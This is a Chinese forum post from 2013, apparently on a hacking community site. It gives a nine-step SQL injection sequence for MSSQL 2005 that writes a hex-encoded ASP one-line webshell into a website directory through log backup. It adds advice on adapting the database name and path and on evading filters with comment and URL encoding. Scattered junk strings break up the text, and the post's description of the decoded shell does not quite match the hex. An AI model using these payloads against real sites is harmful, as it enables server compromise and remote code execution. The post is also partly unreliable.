找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2976|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。
# K+ }, e5 [; n9 x+ }
8 M" ?* g9 c2 }) d% f2 \1 e ' X+ X1 b! k; W) M, X
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。 # [7 @6 P0 N7 f& D1 b/ Z! t3 J

/ D% w4 L+ W/ p" b$ x, r1 ?& r第一步
8 v" u% k- L1 }' \* L;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- / ]+ h$ X% F  J% ~
5 E- M5 J4 Q' k2 J" f
第二步:
- n3 n+ [7 N" S- v;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- # O) k) n: }( U' _- V1 g2 d
1 p8 N: z1 N0 B) U; l
第三步
& J! I: w* Q) P; ~& Y% k3 K& N- X1 F;drop/**/table/**/[itpro]-- ' G; H) n. h9 A5 ]' Z4 F

/ s* u1 W, r: M; {- G& s  {) l$ U第四步
6 B* _8 F6 _# U/ C1 v) Y7 z: G;create/**/table/**/[itpro]([a]/**/image)--
5 @* \: R- X  y9 A) u: d5 h
, \/ [5 t; O3 v, n第五步 / a; Y! K+ F4 x( r1 s, m) M1 a  I
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ' I& `0 A- |" K$ a+ h% f7 w% B. P$ q

  ^' ]% \' F$ v2 y1 f  l1 c第六步
. J9 l- M- G  _7 G, k;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
+ S' K; N* S, b6 v4 f& q( ^ . [9 j9 I: A' p; Y. F5 L
第七步 0 [; R  n. k  Y
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 9 i% i( N6 e; J' R7 q  O5 v) |* L

" J- k* r- j( k+ z5 {* G第八步 ( d& m1 A3 p1 ^% ?
;drop/**/table/**/[itpro]--
$ b" l( ~7 V. h+ g* t, h9 H
+ q4 ?+ j9 o9 |9 u第九步 * c. }/ K( T% @% y2 n
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- " V$ G! ]) O, I& U9 T
' P* O& [; S0 _4 p% {
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。: `/ u: W6 a' p6 l3 V( S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表